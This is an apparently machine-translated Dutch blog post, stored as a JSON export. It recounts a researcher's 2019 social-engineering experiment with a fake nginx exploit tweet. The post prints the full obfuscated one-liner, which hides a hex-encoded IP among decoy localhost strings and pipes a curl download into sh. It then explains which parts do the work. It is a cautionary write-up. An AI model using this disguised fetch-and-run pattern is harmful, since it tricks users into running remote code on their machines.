{"id":35126,"date":"2019-10-31T22:02:28","date_gmt":"2019-10-31T19:02:28","guid":{"rendered":"https:\/\/prohoster.info\/blog\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx\/"},"modified":"2019-10-31T22:02:28","modified_gmt":"2019-10-31T19:02:28","slug":"uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","status":"publish","type":"post","link":"https:\/\/prohoster.info\/nl\/blog\/administrirovanie\/uspeh-sotsialnogo-eksperimenta-s-poddelnym-eksplojtom-dlya-nginx","title":{"rendered":"Het succes van het sociale experiment met een nep-exploit voor nginx","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Opmerking vertaler.<\/b>: Auteur<\/a><\/noindex> van de originele notitie, gepubliceerd op 1 juni, besloot een experiment uit te voeren in de omgeving van ge\u00efnteresseerden in informatiebeveiliging. Daartoe bereidde hij een valse exploit voor een niet-geconfronteerde kwetsbaarheid in de webserver voor en plaatste deze op zijn Twitter. Zijn veronderstellingen \u2014 om onmiddellijk ontmaskerd te worden door specialisten die de duidelijke fraude in de code zouden zien \u2014 zijn niet alleen niet uitgekomen\u2026 Ze overtroffen alle verwachtingen, en dan in omgekeerde richting: de tweet kreeg enorme steun van talloze mensen die de inhoud niet controleerden.<\/i><\/p>\n

\"Het
\n
\nTL;DR: gebruik absoluut geen bestandspijplijn in sh of bash. Dit is een geweldige manier om de controle over de computer te verliezen.<\/b><\/a><\/noindex><\/p>\n

Ik wil een klein verhaal met je delen over een grap PoC-exploit die op 31 mei is gemaakt. Het verscheen snel als reactie op het nieuws van Alisa Esage Shevchenko<\/a><\/noindex>, lid van Zero Day Initiative<\/a><\/noindex> (ZDI), dat binnenkort informatie zal onthullen over een kwetsbaarheid in NGINX die leidt tot RCE (remote code execution). Aangezien NGINX de basis vormt voor veel websites, zou het nieuws een enorme impact moeten hebben. Maar door vertragingen in het proces van 'verantwoordelijk bekendmaken' waren de details van het voorval niet bekend \u2014 dat is de standaardprocedure van ZDI.<\/p>\n

\"Het
\nTweet<\/a><\/noindex> over de onthulling van de kwetsbaarheid in NGINX<\/i><\/p>\n

Toen ik klaar was met het werken aan een nieuwe obfuscatietechniek in curl, citeerde ik de originele tweet en \"lekte\" een werkende PoC, bestaande uit \u00e9\u00e9n regel code die zogenaamd gebruikmaakte van de ontdekte kwetsbaarheid. Natuurlijk was het complete onzin. Ik dacht dat ik onmiddellijk ontmaskerd zou worden, en dat ik in het beste geval een paar retweets zou krijgen (en dat was dan wel goed).<\/p>\n

\"Het
\nTweet<\/a><\/noindex> met de valse exploit<\/i><\/p>\n

Echter, ik kon me niet voorstellen wat er daarna gebeurde. De populariteit van mijn tweet steeg de lucht in. Verbazingwekkend, maar op dit moment (15:00 MSK 1 juni) heeft nog steeds weinig mensen door dat het een nep is. Velen retweeten het zonder enige controle (laat staan dat ze de prachtige ASCII-graphics bewonderen die het genereert).<\/p>\n

\"Het
\nKijk eens hoe mooi!<\/i><\/p>\n

Hoewel al deze lussen en kleuren geweldig zijn, is het duidelijk: om ze te zien, moesten mensen de code op hun eigen machine uitvoeren. Gelukkig werken browsers op dezelfde manier en gezien het feit dat ik geen problemen met de wet wil, deed de code verborgen in mijn website niets meer dan echo-oproepen, zonder te proberen enige aanvullende code te installeren of uit te voeren.<\/p>\n

Een kleine digressie: netspooky<\/a><\/noindex>, dnz<\/a><\/noindex>, ik en de andere jongens van het team Thugcrowd<\/a><\/noindex> spelen al een tijdje met verschillende manieren om curl-opdrachten te obfusceren, omdat het leuk is\u2026 en wij zijn nerds. Netspooky en dnz hebben verschillende nieuwe methoden ontdekt die me extreem veelbelovend leken. Ik deed mee met de lol en probeerde IP-decimale conversies aan de set trucs toe te voegen. Het bleek dat IP ook naar hexadecimale notatie kon worden geconverteerd. Bovendien 'verorberen' curl en de meeste andere NIX-tools met plezier hexadecimale IP's! Dus het enige dat nodig was, was het cre\u00ebren van een overtuigende en veilig ogende opdrachtregel. Uiteindelijk kwam ik uit op deze:<\/p>\n

curl -gsS https:\/\/127.0.0.1-OF-VICTIM-SERVER:443\/..\/..\/..\/\/nginx-handler?\/usr\/lib\/nginx\/modules\/ngx_stream_module.so:127.0.0.1:80:\/bin\/sh<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc \/dev\/tcp\/localhost<\/code><\/pre>\n
<\/p>\n
Sociaal-elektronische techniek (S.E.E.) is meer dan alleen phishing<\/h2>\n
\nBeveiliging en vertrouwdheid waren een cruciaal onderdeel van dit experiment. Ik denk dat zij de reden voor het succes waren. De opdrachtregel suggereerde duidelijk veiligheid, verwijzend naar '127.0.0.1' (de welbekende localhost). Het wordt als veilig beschouwd, en de gegevens op localhost verlaten nooit je computer.<\/p>\n
Vertrouwdheid was de tweede sleutelcomponent van het S.E.E.-experiment. Aangezien de doelgroep voornamelijk bestond uit mensen die de basisprincipes van computerbeveiliging kenden, was het belangrijk om de code zo te maken dat de delen vertrouwd en gebruikelijk leken (en daarom veilig). Het lenen van elementen uit oude exploitconcepten en ze op ongebruikelijke manieren samen te voegen bleek zeer succesvol.<\/p>\n
Hieronder volgt een gedetailleerde analyse van de one-liner. Alles in deze lijst heeft een cosmetisch karakter<\/b>, en voor de daadwerkelijke werking is er praktisch niets nodig.<\/i><\/p>\n
Welke componenten zijn werkelijk noodzakelijk? Dit zijn -gsS<\/code>, -O 0x0238f06a<\/code>, |sh<\/code> en de webserver zelf. De webserver bevatte geen kwaadaardige instructies, maar droeg eenvoudigweg ASCII-graphics over met behulp van commando's echo<\/code> in het script dat zich bevindt in index.html<\/code>. Wanneer de gebruiker een regel invoerde met |sh<\/code> erin, index.html<\/code> werd deze geladen en uitgevoerd. Gelukkig hadden de beheerders van de webserver geen slechte bedoelingen.<\/p>\n